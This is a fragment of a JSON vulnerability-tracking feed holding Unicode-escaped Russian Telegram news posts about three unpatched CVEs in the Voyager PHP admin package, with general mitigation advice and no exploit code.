\u0441\u0441\u044b\u043b\u043a\u0443 \u0432 \u043f\u0430\u043d\u0435\u043b\u0438 \u00ab\u043a\u043e\u043c\u043f\u0430\u0441\u0430\u00bb. \u0422\u0440\u0435\u0442\u044c\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u0445\u0438\u0442\u0438\u0442\u044c \u0438 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u0447\u0442\u043e \u0434\u0430\u0451\u0442 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0441\u0432\u043e\u0431\u043e\u0434\u0443 \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445. \u0412 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e XSS, \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u0432\u044b\u0433\u0440\u0443\u0437\u043a\u0430 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0440\u0435\u0430\u043b\u0438\u0441\u0442\u0438\u0447\u043d\u044b\u043c \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u043c, \u0435\u0441\u043b\u0438 \u0443\u0434\u0430\u0441\u0442\u0441\u044f \u0437\u0430\u043c\u0430\u043d\u0438\u0442\u044c \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043a\u043b\u0438\u043a\u043d\u0443\u0442\u044c \u043d\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 URL.\n\n\u0421\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u043e\u0441\u043b\u043e\u0436\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u0447\u0442\u043e \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0430\u0442\u0447 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d, \u0445\u043e\u0442\u044f \u0434\u0430\u043d\u043d\u044b\u0435 \u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u0445 \u043f\u0435\u0440\u0435\u0434\u0430\u043d\u044b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c \u0432 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f 2024 \u0433\u043e\u0434\u0430. \u041f\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0430, \u0441\u0440\u043e\u043a\u0438 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043d\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u043c\u0438.\n\n\u0412 \u043a\u043e\u043d\u0446\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u0443\u0436\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0441\u044f \u0432\u0441\u043f\u043b\u0435\u0441\u043a \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u0430\u0445, \u043a\u043e\u0433\u0434\u0430 \u0432 \u0440\u044f\u0434\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a \u0434\u043b\u044f Python \u0438 JavaScript \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438\u0441\u044c \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u041f\u043e \u043c\u043d\u0435\u043d\u0438\u044e \u043c\u043d\u043e\u0433\u0438\u0445 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430 \u0442\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u0442\u044c\u0441\u044f, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u043b\u0438 \u0431\u044b\u0441\u0442\u0440\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435. \u0420\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 \u0436\u0451\u0441\u0442\u043a\u043e\u0433\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u0430 \u043a \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0441 \u0443\u0447\u0451\u0442\u043e\u043c \u0440\u043e\u0441\u0442\u0430 \u0430\u0442\u0430\u043a \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a.\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u043c Voyager, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0442\u044c \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0435 \u043a\u043e\u0434\u044b. \u0423\u0441\u0438\u043b\u0435\u043d\u043d\u044b\u0439 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0440\u043e\u0441\u0442 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0430 \u043a \u043d\u043e\u0432\u044b\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043d\u043e \u0431\u0435\u0437 \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0440\u0438\u0441\u043a \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\u044b\u0441\u043e\u043a\u0438\u043c.\n\n\u0412 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0435 \u0432\u0441\u0451 \u0447\u0430\u0449\u0435 \u0437\u0432\u0443\u0447\u0430\u0442 \u043f\u0440\u0438\u0437\u044b\u0432\u044b \u043a \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u043d\u0438\u0437\u0438\u0442 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0441\u0431\u043e\u0435\u0432 \u0432 \u0431\u0443\u0434\u0443\u0449\u0435\u043c. \u041d\u0430 \u0444\u043e\u043d\u0435 \u043d\u043e\u0432\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0430\u0442\u0430\u043a \u043d\u0430 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 \u043b\u044e\u0431\u044b\u043c\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430\u043c\u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043c\u0435\u0440\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u044b.\n\n\u041f\u0440\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0432\u043e\u0437\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u043e\u0442 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f Voyager \u0432 \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u0430\u0445. \u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438, \u0432\u043d\u0435\u0434\u0440\u0438\u0432\u0448\u0438\u0435 \u043f\u0430\u043a\u0435\u0442, \u0432\u0441\u0451 \u0447\u0430\u0449\u0435 \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u044e\u0442 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u0432\u043d\u0435\u0434\u0440\u044f\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u043b\u043e\u0438 \u0437\u0430\u0449\u0438\u0442\u044b \u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438.\n\n\u0418\u0437\u0431\u0430\u0432\u0438\u0442\u044c\u0441\u044f \u043e\u0442 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u043e\u043c\u043e\u0433\u0430\u044e\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432, \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0441\u0435\u0442\u0438 \u0438 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u043b\u043e\u0433\u043e\u0432, \u0447\u0442\u043e \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u043e\u0432\u0440\u0435\u043c\u044f \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432. \u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043d\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043e\u043a\u0430\u0436\u0443\u0442\u0441\u044f \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0432\u0430\u0436\u043d\u044b\u043c\u0438, \u043f\u043e\u043a\u0430 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u0443\u0449\u0435\u043d \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0430\u0442\u0447.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-01-31T04:20:19.000000Z"}, {"uuid": "98bbfa64-76b1-46bf-af54-238780f00ce2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55417", "type": "seen", "source": "https://t.me/itsec_news/5274", "content": "\u200b\u26a1\ufe0f\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 0day-\u0431\u0440\u0435\u0448\u0438 \u0432 Voyager: \u0443\u0433\u0440\u043e\u0437\u0430 \u0446\u0435\u043f\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432\n\n\ud83d\udcac \u041e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 PHP-\u043f\u0430\u043a\u0435\u0442 Voyager \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0441\u044f \u0441 \u0442\u0440\u0435\u043c\u044f \u043e\u043f\u0430\u0441\u043d\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u043c\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e \u043e\u0434\u043d\u0438\u043c \u043d\u0430\u0436\u0430\u0442\u0438\u0435\u043c. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c Sonar \u043f\u043e \u0438\u043c\u0435\u043d\u0438 \u042f\u043d\u0438\u0432 \u041d\u0438\u0437\u0440\u0438 \u043e\u0431\u0440\u0430\u0442\u0438\u043b \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u0432\u043b\u0438\u044f\u044e\u0449\u0438\u0435 \u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u0430 \u043c\u043e\u0434\u0443\u043b\u044c, \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0438\u0439 \u0437\u0430 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0432\u043d\u0443\u0442\u0440\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u0430\u043d\u0435\u043b\u0438.\n\n\u041f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 Voyager \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043a\u043b\u0438\u043a\u043d\u0443\u0442\u044c \u043f\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0435 \u2014 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434, \u0437\u0430\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u0434 \u043e\u0431\u044b\u0447\u043d\u043e\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u0432\u0438\u0434\u0435\u043e. \u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0443\u0441\u043b\u043e\u0436\u043d\u044f\u044e\u0442\u0441\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0432 \u043f\u043e\u043b\u0438\u0433\u043b\u043e\u0442-\u0444\u0430\u0439\u043b\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u0431\u0435\u0437\u043e\u0431\u0438\u0434\u043d\u043e, \u043d\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 PHP-\u043a\u043e\u0434.\n\n\u041d\u0430\u0431\u043e\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b CVE-2024-55417 , CVE-2024-55416 \u0438 CVE-2024-55415 . \u041f\u0435\u0440\u0432\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043e\u0431\u0445\u043e\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 MIME-\u0442\u0438\u043f\u043e\u0432 \u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438. \u0412\u0442\u043e\u0440\u0430\u044f \u0434\u0430\u0451\u0442 \u0448\u0430\u043d\u0441 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c JavaScript, \u0435\u0441\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c Voyager \u043d\u0430\u0436\u0438\u043c\u0430\u0435\u0442 \u043d\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443 \u0432 \u043f\u0430\u043d\u0435\u043b\u0438 \u00ab\u043a\u043e\u043c\u043f\u0430\u0441\u0430\u00bb. \u0422\u0440\u0435\u0442\u044c\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u0445\u0438\u0442\u0438\u0442\u044c \u0438 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u0447\u0442\u043e \u0434\u0430\u0451\u0442 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0441\u0432\u043e\u0431\u043e\u0434\u0443 \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445. \u0412 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e XSS, \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u0432\u044b\u0433\u0440\u0443\u0437\u043a\u0430 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0440\u0435\u0430\u043b\u0438\u0441\u0442\u0438\u0447\u043d\u044b\u043c \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u043c, \u0435\u0441\u043b\u0438 \u0443\u0434\u0430\u0441\u0442\u0441\u044f \u0437\u0430\u043c\u0430\u043d\u0438\u0442\u044c \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043a\u043b\u0438\u043a\u043d\u0443\u0442\u044c \u043d\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 URL.\n\n\u0421\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u043e\u0441\u043b\u043e\u0436\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u0447\u0442\u043e \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0430\u0442\u0447 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d, \u0445\u043e\u0442\u044f \u0434\u0430\u043d\u043d\u044b\u0435 \u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u0445 \u043f\u0435\u0440\u0435\u0434\u0430\u043d\u044b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c \u0432 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f 2024 \u0433\u043e\u0434\u0430. \u041f\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0430, \u0441\u0440\u043e\u043a\u0438 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043d\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u043c\u0438.\n\n\u0412 \u043a\u043e\u043d\u0446\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u0443\u0436\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b\u0441\u044f \u0432\u0441\u043f\u043b\u0435\u0441\u043a \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u0430\u0445, \u043a\u043e\u0433\u0434\u0430 \u0432 \u0440\u044f\u0434\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a \u0434\u043b\u044f Python \u0438 JavaScript \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438\u0441\u044c \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u041f\u043e \u043c\u043d\u0435\u043d\u0438\u044e \u043c\u043d\u043e\u0433\u0438\u0445 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430 \u0442\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u0442\u044c\u0441\u044f, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u043b\u0438 \u0431\u044b\u0441\u0442\u0440\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435. \u0420\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 \u0436\u0451\u0441\u0442\u043a\u043e\u0433\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u0430 \u043a \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0441 \u0443\u0447\u0451\u0442\u043e\u043c 